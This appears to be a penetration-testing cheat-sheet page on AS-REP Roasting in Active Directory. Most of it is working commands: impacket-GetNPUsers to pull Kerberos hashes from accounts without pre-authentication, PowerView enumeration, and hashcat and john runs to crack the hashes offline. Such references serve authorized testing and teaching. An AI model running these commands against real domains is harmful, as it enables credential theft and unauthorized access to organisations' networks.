OPSECTLAS you are here: Active Directory
Active Directory

AS-REP Roasting

reference 6 commands 4 tools

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from Low-priv domain credsCrackable hash

needsCrackable hashLow-priv domain creds
yieldsCrackable hash
toolsimpackethashcatpowerviewjohn
What it is

Accounts with "Do not require Kerberos pre-authentication" enabled allow you to request encrypted TGTs without a password. Hash is crackable offline.

Step 1: Find vulnerable accounts

From Linux (without creds · pure unauthenticated attack):

impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -dc-ip <DC-IP> -no-pass -format hashcat | tee hashes/asrep.txt

With credentials (more reliable):

impacket-GetNPUsers <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request | tee hashes/asrep.txt

From Windows (with PowerView):

Get-DomainUser -PreauthNotRequired | Select SamAccountName
Step 2: Crack
hashcat -m 18200 hashes/asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 hashes/asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john --wordlist=/usr/share/wordlists/rockyou.txt hashes/asrep.txt --format=krb5asrep
connected